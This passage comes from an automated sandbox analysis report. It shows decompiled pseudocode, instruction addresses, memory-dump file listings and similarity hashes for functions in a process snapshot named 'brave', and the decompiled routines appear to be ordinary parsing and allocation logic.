				 *(__rbx + 0x28) = _t158 + 1;
				 *_t325 = 0x42;
				 *((intOrPtr*)(_t325 + 0x10)) = E00007FF67FF69F804E90(_t264, __rbx, _t305, __r8, _t343);
				_t265 =  *(__rbx + 0x18);
				if ( *_t265 != 0x5f) goto 0x9f805c20;
				_t266 = _t265 + 1;
				 *(__rbx + 0x18) = _t266;
				E00007FF67FF69F805BC0();
				E00007FF67FF69F804DD0();
				_a40 = _t266;
				_t193 =  *(__rbx + 0x28);
				if (_t193 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832670;
				_t269 = (_t193 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t269 + 4)) = 0;
				 *(__rbx + 0x28) = _t193 + 1;
				 *_t269 = 0x27;
				 *((long long*)(_t269 + 0x10)) = 0x9fab5340;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t195 =  *(__rbx + 0x28);
				if (_t195 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832715;
				_t272 = (_t195 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t272 + 4)) = 0;
				 *(__rbx + 0x28) = _t195 + 1;
				 *_t272 = 0x27;
				 *((long long*)(_t272 + 0x10)) = 0x9fab5400;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0x11;
				_t197 =  *(__rbx + 0x28);
				if (_t197 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f8326ef;
				_t275 = (_t197 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t275 + 4)) = 0;
				 *(__rbx + 0x28) = _t197 + 1;
				 *_t275 = 0x27;
				 *((long long*)(_t275 + 0x10)) = 0x9fab53a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF67FF69F805BC0();
				r9d = 0;
				E00007FF67FF69F804DD0();
				_a40 = _t275;
				_t200 =  *(__rbx + 0x28);
				if (_t200 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832683;
				_t278 = (_t200 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t278 + 4)) = 0;
				 *(__rbx + 0x28) = _t200 + 1;
				 *_t278 = 0x27;
				 *((long long*)(_t278 + 0x10)) = 0x9fab53e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0x9f805c22;
				E00007FF67FF69F806EE0(_t278, __rbx);
				_a40 = _t278;
				if (_t278 == 0) goto 0x9f805c20;
				if ( *_t278 != 0x18) goto 0x9f805d39;
				goto 0x9f805c22;
				goto 0x9f806051;
				_t279 = _t278 + 1;
				 *(__rbx + 0x18) = _t279;
				E00007FF67FF69F8089F0(__rbx);
				E00007FF67FF69F804DD0();
				_a40 = _t279;
				_t326 = _t279;
				goto 0x9f805f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t326[1]);
				E00007FF67FF69F8089F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x9f806584;
				 *(__rbx + 0x18) = _t326;
				_t281 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x9f805d30;
				_t336 = _a40;
				if (_t336 == 0) goto 0x9f805c20;
				_t203 =  *(__rbx + 0x38);
				if (_t203 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x9f805c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t203 * 8)) = _t336;
				 *(__rbx + 0x38) = _t203 + 1;
				E00007FF67FF69F804DD0();
				_a40 = _t281;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t336 + 3;
				E00007FF67FF69F807F20(_t281, __rbx);
				_t327 = _t281;
				if (_t281 != 0) goto 0x9f806386;
				goto 0x9f805c20;
				asm("o16 nop [eax+eax]");
				_push(0x9fab53e0);
				_push(_t327);
				_push(__rbx);
				_t282 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x9f8066c8;
				 *(__rbx + 0x18) =  &(_t282[1]);
				r10d =  *_t282 & 0x000000ff;
				if (sil != 0) goto 0x9f8066d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t169 = (r8d >> 0x1f) + r8d >> 1;
				_t240 =  *((intOrPtr*)( *((intOrPtr*)(0x9fab4820 + (_t169 + _t169 * 2) * 8)))) - r10b;
				if (_t240 == 0) goto 0x9f806680;
				if (_t240 <= 0) goto 0x9f8066c0;
				r8d = _t169;
				if (0 != r8d) goto 0x9f806648;
				return 0;
			}

0x7ff69f806121
0x7ff69f806127
0x7ff69f806137
0x7ff69f80613b
0x7ff69f806143
0x7ff69f806146
0x7ff69f80614b
0x7ff69f806156
0x7ff69f806159
0x7ff69f806161
0x7ff69f806165
0x7ff69f80616a
0x7ff69f806177
0x7ff69f80617c
0x7ff69f80618a
0x7ff69f806193
0x7ff69f806198
0x7ff69f8061a1
0x7ff69f8061a3
0x7ff69f8061a7
0x7ff69f8061bc
0x7ff69f8061c5
0x7ff69f8061cb
0x7ff69f8061e2
0x7ff69f8061e6
0x7ff69f8061e9
0x7ff69f8061f0
0x7ff69f8061f7
0x7ff69f8061fb
0x7ff69f806207
0x7ff69f80620d
0x7ff69f806224
0x7ff69f806228
0x7ff69f80622b
0x7ff69f806232
0x7ff69f806239
0x7ff69f80623d
0x7ff69f806249
0x7ff69f80624f
0x7ff69f806266
0x7ff69f80626a
0x7ff69f806272
0x7ff69f806275
0x7ff69f80627b
0x7ff69f80627f
0x7ff69f806288
0x7ff69f80628e
0x7ff69f8062a5
0x7ff69f8062a9
0x7ff69f8062b1
0x7ff69f8062b4
0x7ff69f8062ba
0x7ff69f8062be
0x7ff69f8062c7
0x7ff69f8062cd
0x7ff69f8062e4
0x7ff69f8062e8
0x7ff69f8062f0
0x7ff69f8062f3
0x7ff69f8062f9
0x7ff69f8062fd
0x7ff69f806306
0x7ff69f80630c
0x7ff69f806323
0x7ff69f806327
0x7ff69f80632f
0x7ff69f806332
0x7ff69f806338
0x7ff69f80633c
0x7ff69f806340
0x7ff69f80634e
0x7ff69f806350
0x7ff69f806356
0x7ff69f806369
0x7ff69f80636d
0x7ff69f806375
0x7ff69f806378
0x7ff69f806383
0x7ff69f806386
0x7ff69f80638d
0x7ff69f806393
0x7ff69f80639a
0x7ff69f80639e
0x7ff69f8063b1
0x7ff69f8063b6
0x7ff69f8063c0
0x7ff69f8063c6
0x7ff69f8063dd
0x7ff69f8063e1
0x7ff69f8063e9
0x7ff69f8063ec
0x7ff69f8063f2
0x7ff69f8063f6
0x7ff69f8063ff
0x7ff69f806405
0x7ff69f80641c
0x7ff69f806420
0x7ff69f806428
0x7ff69f80642b
0x7ff69f806431
0x7ff69f806435
0x7ff69f80643e
0x7ff69f806444
0x7ff69f80645b
0x7ff69f80645f
0x7ff69f806467
0x7ff69f80646a
0x7ff69f806470
0x7ff69f806474
0x7ff69f806480
0x7ff69f806485
0x7ff69f806493
0x7ff69f806498
0x7ff69f8064a2
0x7ff69f8064a8
0x7ff69f8064bf
0x7ff69f8064c3
0x7ff69f8064cb
0x7ff69f8064ce
0x7ff69f8064d4
0x7ff69f8064d8
0x7ff69f8064dc
0x7ff69f8064eb
0x7ff69f8064f0
0x7ff69f8064f8
0x7ff69f806501
0x7ff69f806507
0x7ff69f806512
0x7ff69f806517
0x7ff69f80651e
0x7ff69f806522
0x7ff69f806537
0x7ff69f80653c
0x7ff69f806541
0x7ff69f806544
0x7ff69f806550
0x7ff69f806557
0x7ff69f80655e
0x7ff69f80656a
0x7ff69f80656c
0x7ff69f806570
0x7ff69f806575
0x7ff69f80657c
0x7ff69f80657f
0x7ff69f806584
0x7ff69f80658c
0x7ff69f806592
0x7ff69f806598
0x7ff69f8065a8
0x7ff69f8065b2
0x7ff69f8065ba
0x7ff69f8065bf
0x7ff69f8065d0
0x7ff69f8065da
0x7ff69f8065de
0x7ff69f8065e6
0x7ff69f8065ec
0x7ff69f8065f2
0x7ff69f8065f7
0x7ff69f806600
0x7ff69f806601
0x7ff69f806602
0x7ff69f806607
0x7ff69f806614
0x7ff69f80661e
0x7ff69f806626
0x7ff69f80662d
0x7ff69f806633
0x7ff69f806642
0x7ff69f806656
0x7ff69f806666
0x7ff69f806669
0x7ff69f80666b
0x7ff69f80666d
0x7ff69f806673
0x7ff69f80667e

APIs

malloc.MSVCRT ref: 00007FF69F832752

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: f1911072c80b76115ef9c94903d4da69b44409036a35aa95ff02e775109f09a9
Instruction ID: efe256203c0aeb68aba18f7c99ee3fc0956c4509f159c1e54f2a3571061fcd6d
Opcode Fuzzy Hash: f1911072c80b76115ef9c94903d4da69b44409036a35aa95ff02e775109f09a9
Instruction Fuzzy Hash: A3316833A09B0581E7708F15E8913A977B0FB84798F594576D68C873A5CFBCE680D394

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F805CC8 Relevance: 1.3, APIs: 1, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F805CC8(void* __edx, void* __rbx, void* __r8, long long _a40) {
				void* _t19;
				signed int _t20;
				signed int _t25;
				long long _t35;
				long long _t43;

				_t20 =  *(__rbx + 0x28);
				_t43 = (__edx - 0x61 << 5) + 0x9fab4fe0;
				if (_t20 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832696;
				_t35 = (_t20 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t35 + 4)) = 0;
				 *(__rbx + 0x28) = _t20 + 1;
				 *((long long*)(_t35 + 0x10)) = _t43;
				 *_t35 = 0x27;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) +  *((intOrPtr*)(_t43 + 8));
				 *((long long*)(__rbx + 0x18)) = __r8 + 1;
				_t19 = E00007FF67FF69F806EE0(_t35, __rbx);
				_a40 = _t35;
				if (_t35 == 0) goto 0x9f805c20;
				_t25 =  *(__rbx + 0x38);
				if (_t25 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x9f805c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t25 * 8)) = _t35;
				 *(__rbx + 0x38) = _t25 + 1;
				return _t19;
			}

0x7ff69f805cd2
0x7ff69f805cdd
0x7ff69f805ce3
0x7ff69f805cf7
0x7ff69f805cfb
0x7ff69f805d03
0x7ff69f805d06
0x7ff69f805d0d
0x7ff69f805d13
0x7ff69f805d16
0x7ff69f805d23
0x7ff69f805d28
0x7ff69f805d33
0x7ff69f805d39
0x7ff69f805d3f
0x7ff69f805d4f
0x7ff69f805d58
0x7ff69f805d65

APIs

malloc.MSVCRT ref: 00007FF69F832752

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 481313779c530b80ad29adb7c36aba79e4ffeb0080f416c7aa4c906f5a1563bf
Instruction ID: b1d87e09beead21bad16d3f61dab101c135db8f14979cf6808bef0ea9f0d9c8e
Opcode Fuzzy Hash: 481313779c530b80ad29adb7c36aba79e4ffeb0080f416c7aa4c906f5a1563bf
Instruction Fuzzy Hash: 9A316572A09B04C2E7618F08F8813A973B0FB84799F264A65C68C473A4DFBDD180D780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F801670 Relevance: 1.3, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00007FF69F80172F

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 47150c400661e288aa599803cb5707d173a492a52ae042cb663064bb588da808
Instruction ID: b2133a78c72663a08cd9a7694b33abc682892818144c04cbdd4249f7efea8434
Opcode Fuzzy Hash: 47150c400661e288aa599803cb5707d173a492a52ae042cb663064bb588da808
Instruction Fuzzy Hash: 3921F65691DBC186EB724B28A4013F97FB0EB9A784F8A42B0EF8D46746EF6D91448300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F8063C0 Relevance: 1.3, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00007FF67FF69F8063C0(void* __rbx, signed char* _a40) {
				signed int _t77;
				signed int _t81;
				signed int _t83;
				signed int _t85;
				signed int _t88;
				signed int _t91;
				void* _t113;
				intOrPtr* _t118;
				intOrPtr* _t121;
				signed char* _t124;
				intOrPtr* _t127;
				signed char* _t128;
				signed char* _t130;
				signed char* _t131;
				signed char* _t154;
				signed char* _t155;
				long long _t162;

				_t81 =  *(__rbx + 0x28);
				if (_t81 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832670;
				_t118 = (_t81 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t118 + 4)) = 0;
				 *(__rbx + 0x28) = _t81 + 1;
				 *_t118 = 0x27;
				 *((long long*)(_t118 + 0x10)) = 0x9fab5340;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t83 =  *(__rbx + 0x28);
				if (_t83 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832715;
				_t121 = (_t83 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t121 + 4)) = 0;
				 *(__rbx + 0x28) = _t83 + 1;
				 *_t121 = 0x27;
				 *((long long*)(_t121 + 0x10)) = 0x9fab5400;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0x11;
				_t85 =  *(__rbx + 0x28);
				if (_t85 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f8326ef;
				_t124 = (_t85 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t124 + 4)) = 0;
				 *(__rbx + 0x28) = _t85 + 1;
				 *_t124 = 0x27;
				 *((long long*)(_t124 + 0x10)) = 0x9fab53a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF67FF69F805BC0();
				r9d = 0;
				E00007FF67FF69F804DD0();
				_a40 = _t124;
				_t88 =  *(__rbx + 0x28);
				if (_t88 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832683;
				_t127 = (_t88 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t127 + 4)) = 0;
				 *(__rbx + 0x28) = _t88 + 1;
				 *_t127 = 0x27;
				 *((long long*)(_t127 + 0x10)) = 0x9fab53e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0x9f805c22;
				E00007FF67FF69F806EE0(_t127, __rbx);
				_a40 = _t127;
				if (_t127 == 0) goto 0x9f805c20;
				if ( *_t127 != 0x18) goto 0x9f805d39;
				goto 0x9f805c22;
				goto 0x9f806051;
				_t128 = _t127 + 1;
				 *(__rbx + 0x18) = _t128;
				E00007FF67FF69F8089F0(__rbx);
				E00007FF67FF69F804DD0();
				_a40 = _t128;
				_t154 = _t128;
				goto 0x9f805f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t154[1]);
				E00007FF67FF69F8089F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x9f806584;
				 *(__rbx + 0x18) = _t154;
				_t130 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x9f805d30;
				_t162 = _a40;
				if (_t162 == 0) goto 0x9f805c20;
				_t91 =  *(__rbx + 0x38);
				if (_t91 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x9f805c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t91 * 8)) = _t162;
				 *(__rbx + 0x38) = _t91 + 1;
				E00007FF67FF69F804DD0();
				_a40 = _t130;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t162 + 3;
				E00007FF67FF69F807F20(_t130, __rbx);
				_t155 = _t130;
				if (_t130 != 0) goto 0x9f806386;
				goto 0x9f805c20;
				asm("o16 nop [eax+eax]");
				_push(0x9fab53e0);
				_push(_t155);
				_push(__rbx);
				_t131 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x9f8066c8;
				 *(__rbx + 0x18) =  &(_t131[1]);
				r10d =  *_t131 & 0x000000ff;
				if (sil != 0) goto 0x9f8066d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t77 = (r8d >> 0x1f) + r8d >> 1;
				_t113 =  *((intOrPtr*)( *((intOrPtr*)(0x9fab4820 + (_t77 + _t77 * 2) * 8)))) - r10b;
				if (_t113 == 0) goto 0x9f806680;
				if (_t113 <= 0) goto 0x9f8066c0;
				r8d = _t77;
				if (0 != r8d) goto 0x9f806648;
				return 0;
			}

0x7ff69f8063c0
0x7ff69f8063c6
0x7ff69f8063dd
0x7ff69f8063e1
0x7ff69f8063e9
0x7ff69f8063ec
0x7ff69f8063f2
0x7ff69f8063f6
0x7ff69f8063ff
0x7ff69f806405
0x7ff69f80641c
0x7ff69f806420
0x7ff69f806428
0x7ff69f80642b
0x7ff69f806431
0x7ff69f806435
0x7ff69f80643e
0x7ff69f806444
0x7ff69f80645b
0x7ff69f80645f
0x7ff69f806467
0x7ff69f80646a
0x7ff69f806470
0x7ff69f806474
0x7ff69f806480
0x7ff69f806485
0x7ff69f806493
0x7ff69f806498
0x7ff69f8064a2
0x7ff69f8064a8
0x7ff69f8064bf
0x7ff69f8064c3
0x7ff69f8064cb
0x7ff69f8064ce
0x7ff69f8064d4
0x7ff69f8064d8
0x7ff69f8064dc
0x7ff69f8064eb
0x7ff69f8064f0
0x7ff69f8064f8
0x7ff69f806501
0x7ff69f806507
0x7ff69f806512
0x7ff69f806517
0x7ff69f80651e
0x7ff69f806522
0x7ff69f806537
0x7ff69f80653c
0x7ff69f806541
0x7ff69f806544
0x7ff69f806550
0x7ff69f806557
0x7ff69f80655e
0x7ff69f80656a
0x7ff69f80656c
0x7ff69f806570
0x7ff69f806575
0x7ff69f80657c
0x7ff69f80657f
0x7ff69f806584
0x7ff69f80658c
0x7ff69f806592
0x7ff69f806598
0x7ff69f8065a8
0x7ff69f8065b2
0x7ff69f8065ba
0x7ff69f8065bf
0x7ff69f8065d0
0x7ff69f8065da
0x7ff69f8065de
0x7ff69f8065e6
0x7ff69f8065ec
0x7ff69f8065f2
0x7ff69f8065f7
0x7ff69f806600
0x7ff69f806601
0x7ff69f806602
0x7ff69f806607
0x7ff69f806614
0x7ff69f80661e
0x7ff69f806626
0x7ff69f80662d
0x7ff69f806633
0x7ff69f806642
0x7ff69f806656
0x7ff69f806666
0x7ff69f806669
0x7ff69f80666b
0x7ff69f80666d
0x7ff69f806673
0x7ff69f80667e

APIs

malloc.MSVCRT ref: 00007FF69F832752

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 62a82320fdceb24766c0b0c8cff22094254bc4afba2bc82755b66d49ed25b182
Instruction ID: b2b9114e4a4234a40dc89a6a27a2400880d0f54e5dcefde556ea9fa3774b4a83
Opcode Fuzzy Hash: 62a82320fdceb24766c0b0c8cff22094254bc4afba2bc82755b66d49ed25b182
Instruction Fuzzy Hash: 23310432609B08C2E7708F08F89539A77B0FB94799F264625D2CC473A5CFBDD1849784

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F8064A2 Relevance: 1.3, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00007FF67FF69F8064A2(void* __rbx, signed char* _a40) {
				signed int _t52;
				signed int _t56;
				signed int _t59;
				void* _t78;
				intOrPtr* _t83;
				signed char* _t84;
				signed char* _t86;
				signed char* _t87;
				signed char* _t105;
				signed char* _t106;
				long long _t112;

				_t56 =  *(__rbx + 0x28);
				if (_t56 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832683;
				_t83 = (_t56 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t83 + 4)) = 0;
				 *(__rbx + 0x28) = _t56 + 1;
				 *_t83 = 0x27;
				 *((long long*)(_t83 + 0x10)) = 0x9fab53e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0x9f805c22;
				E00007FF67FF69F806EE0(_t83, __rbx);
				_a40 = _t83;
				if (_t83 == 0) goto 0x9f805c20;
				if ( *_t83 != 0x18) goto 0x9f805d39;
				goto 0x9f805c22;
				goto 0x9f806051;
				_t84 = _t83 + 1;
				 *(__rbx + 0x18) = _t84;
				E00007FF67FF69F8089F0(__rbx);
				E00007FF67FF69F804DD0();
				_a40 = _t84;
				_t105 = _t84;
				goto 0x9f805f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t105[1]);
				E00007FF67FF69F8089F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x9f806584;
				 *(__rbx + 0x18) = _t105;
				_t86 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x9f805d30;
				_t112 = _a40;
				if (_t112 == 0) goto 0x9f805c20;
				_t59 =  *(__rbx + 0x38);
				if (_t59 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x9f805c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t59 * 8)) = _t112;
				 *(__rbx + 0x38) = _t59 + 1;
				E00007FF67FF69F804DD0();
				_a40 = _t86;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t112 + 3;
				E00007FF67FF69F807F20(_t86, __rbx);
				_t106 = _t86;
				if (_t86 != 0) goto 0x9f806386;
				goto 0x9f805c20;
				asm("o16 nop [eax+eax]");
				_push(0x9fab53e0);
				_push(_t106);
				_push(__rbx);
				_t87 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x9f8066c8;
				 *(__rbx + 0x18) =  &(_t87[1]);
				r10d =  *_t87 & 0x000000ff;
				if (sil != 0) goto 0x9f8066d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t52 = (r8d >> 0x1f) + r8d >> 1;
				_t78 =  *((intOrPtr*)( *((intOrPtr*)(0x9fab4820 + (_t52 + _t52 * 2) * 8)))) - r10b;
				if (_t78 == 0) goto 0x9f806680;
				if (_t78 <= 0) goto 0x9f8066c0;
				r8d = _t52;
				if (0 != r8d) goto 0x9f806648;
				return 0;
			}

0x7ff69f8064a2
0x7ff69f8064a8
0x7ff69f8064bf
0x7ff69f8064c3
0x7ff69f8064cb
0x7ff69f8064ce
0x7ff69f8064d4
0x7ff69f8064d8
0x7ff69f8064dc
0x7ff69f8064eb
0x7ff69f8064f0
0x7ff69f8064f8
0x7ff69f806501
0x7ff69f806507
0x7ff69f806512
0x7ff69f806517
0x7ff69f80651e
0x7ff69f806522
0x7ff69f806537
0x7ff69f80653c
0x7ff69f806541
0x7ff69f806544
0x7ff69f806550
0x7ff69f806557
0x7ff69f80655e
0x7ff69f80656a
0x7ff69f80656c
0x7ff69f806570
0x7ff69f806575
0x7ff69f80657c
0x7ff69f80657f
0x7ff69f806584
0x7ff69f80658c
0x7ff69f806592
0x7ff69f806598
0x7ff69f8065a8
0x7ff69f8065b2
0x7ff69f8065ba
0x7ff69f8065bf
0x7ff69f8065d0
0x7ff69f8065da
0x7ff69f8065de
0x7ff69f8065e6
0x7ff69f8065ec
0x7ff69f8065f2
0x7ff69f8065f7
0x7ff69f806600
0x7ff69f806601
0x7ff69f806602
0x7ff69f806607
0x7ff69f806614
0x7ff69f80661e
0x7ff69f806626
0x7ff69f80662d
0x7ff69f806633
0x7ff69f806642
0x7ff69f806656
0x7ff69f806666
0x7ff69f806669
0x7ff69f80666b
0x7ff69f80666d
0x7ff69f806673
0x7ff69f80667e

APIs

malloc.MSVCRT ref: 00007FF69F832752

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
